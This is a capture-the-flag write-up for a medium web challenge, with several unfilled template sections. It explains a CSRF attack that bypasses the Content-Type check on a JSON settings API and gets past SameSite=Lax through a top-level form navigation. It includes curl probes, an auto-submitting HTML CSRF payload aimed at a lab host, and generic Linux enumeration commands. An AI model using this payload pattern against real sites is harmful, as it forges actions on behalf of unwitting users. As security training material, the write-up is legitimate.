DevPulse — CSRF via JSON Content-Type Bypass
DevPulse — CSRF via JSON Content-Type Bypass
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-19 | Status: Solved Techniques: admin_bot_csrf, csrf_content_type_bypass, form_urlencoded_to_json_api, samesite_lax_top_level_navigation
Summary
Task: Express.js developer analytics platform with JSON API settings endpoint, admin bot visits reported URLs, admin profile is private. Solution: CSRF via Content-Type bypass — the JSON API also accepts application/x-www-form-urlencoded, enabling a cross-origin form POST that bypasses SameSite=Lax as a top-level navigation to change admin's profile visibility to public.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260519_hackadvisor_devpulse_csrf - Tags: express, csrf, admin_bot, session_cookie, json_api, content_type_bypass, samesite_lax
- Indicators: JSON API endpoint that also accepts application/x-www-form-urlencoded or text/plain, No CSRF tokens on state-changing POST endpoints, SameSite=Lax session cookie with admin bot that visits attacker URLs, Settings/profile visibility toggle via API, Report page where admin visits submitted URLs
- Source:
20260519_hackadvisor_devpulse_csrf.md
Foothold
Vulnerability / Misconfiguration
- Admin_bot_csrf
- Csrf_content_type_bypass
- Form_urlencoded_to_json_api
- Samesite_lax_top_level_navigation
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- admin_bot_csrf
- csrf_content_type_bypass
- form_urlencoded_to_json_api
- samesite_lax_top_level_navigation
- Tags: express, csrf, admin_bot, session_cookie, json_api, content_type_bypass, samesite_lax
Original Writeup
<details><summary>Click to expand original content</summary>Description
DevPulse is a developer productivity analytics platform built by PulseWave Technologies. It tracks coding activity across IDEs, browsers, and terminals, letting developers monitor daily coding hours, view project breakdowns, and manage their public developer profiles. The platform provides a REST API for IDE plugin integrations and a web dashboard for visualizing coding metrics. Users can control whether their profile and stats are visible publicly or kept private. An admin account manages the platform and reviews user-submitted reports.
English summary: Express.js web app with user profiles, privacy settings, and an admin bot that visits URLs submitted via a report page. The admin's profile is private and contains the flag. Goal is to perform actions on behalf of the admin without their consent (CSRF).
Analysis
Application Reconnaissance
- Stack: Express.js behind nginx/1.25.5
- Session:
connect.sidcookie withHttpOnly; Secure; SameSite=Lax - Key pages:
/dashboard,/settings,/report,/leaderboard,/profile/<username> - Admin bot: The
/reportpage accepts a URL — "Submitted URLs are reviewed by a platform administrator who will visit the link to verify the report" - Admin profile:
/profile/adminshows "This profile is private" — the flag is behind the privacy wall
Settings API
Client-side settings.js reveals all settings updates go through a JSON API:
function postSettings(data) {
return fetch('/api/v1/settings', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'same-origin',
body: JSON.stringify(data)
}).then(function(r) { return r.json(); });
}
The privacy form sends {"dashboard_visibility": "public"} or {"dashboard_visibility": "private"}.
No CSRF Protection
There are no CSRF tokens on any forms or API requests. The apparent protections are:
- Content-Type: application/json — cross-origin requests with this header trigger CORS preflight, which the server doesn't support (OPTIONS returns 404)
- SameSite=Lax on the session cookie — blocks cross-origin
fetch()POST and iframe form submissions
Content-Type Bypass Discovery
Testing revealed the API accepts multiple Content-Types, not just JSON:
# application/json — works (normal)
curl -s -b "$COOKIE" -X POST "$TARGET/api/v1/settings" \
-H "Content-Type: application/json" \
-d '{"dashboard_visibility":"public"}'
# → {"success":true,...}
# text/plain — works! (CSRF bypass)
curl -s -b "$COOKIE" -X POST "$TARGET/api/v1/settings" \
-H "Content-Type: text/plain" \
-d '{"dashboard_visibility":"public"}'
# → {"success":true,...}
# application/x-www-form-urlencoded — works! (CSRF bypass)
curl -s -b "$COOKIE" -X POST "$TARGET/api/v1/settings" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "dashboard_visibility=public"
# → {"success":true,...}
Both text/plain and application/x-www-form-urlencoded are CORS "simple" Content-Types that do not trigger preflight. This means a cross-origin HTML form can submit requests to this API endpoint.
SameSite=Lax Behavior
SameSite=Lax cookies are sent on top-level form POST navigations (the form submit navigates the entire page). They are not sent on:
fetch()/XMLHttpRequestcross-origin requests- Form submissions targeting iframes (
target="framename") navigator.sendBeacon()calls
The critical insight: use a plain <form> without any target attribute — making it a true top-level navigation where SameSite=Lax allows the cookie.
Solution
1. Create CSRF payload
<html>
<body>
<form id="csrf" method="POST"
action="https://fb3e85c1-ef13-4aef-8341-58f3c8c0dedd.labs.hackadvisor.io/api/v1/settings"
enctype="application/x-www-form-urlencoded">
<input type="hidden" name="dashboard_visibility" value="public" />
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
2. Host and deliver
- Uploaded
csrf.htmlto the HackAdvisor Interaction Server athttp://interact/<UUID>/csrf.html - Submitted the Interaction Server URL via the
/reportform - Admin bot visited the URL → form auto-submitted → admin's
dashboard_visibilitychanged topublic - Visited
/profile/admin— profile was now public, revealing the flag
Failed approaches
| Approach | Why it failed |
|---|---|
enctype="text/plain" with JSON body + iframe target | SameSite=Lax blocked cookies — iframe form submission is NOT a top-level navigation |
fetch() with mode: 'no-cors' and credentials: 'include' | SameSite=Lax blocked cookies on cross-origin fetch POST |
navigator.sendBeacon() | SameSite=Lax blocked cookies (not a top-level navigation) |
| XSS in display_name | Properly HTML-escaped everywhere |
| API key authentication | Doesn't work without session cookie for settings |
| IDOR via user_id parameter | Server ignores it, always updates current session user |
| |
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR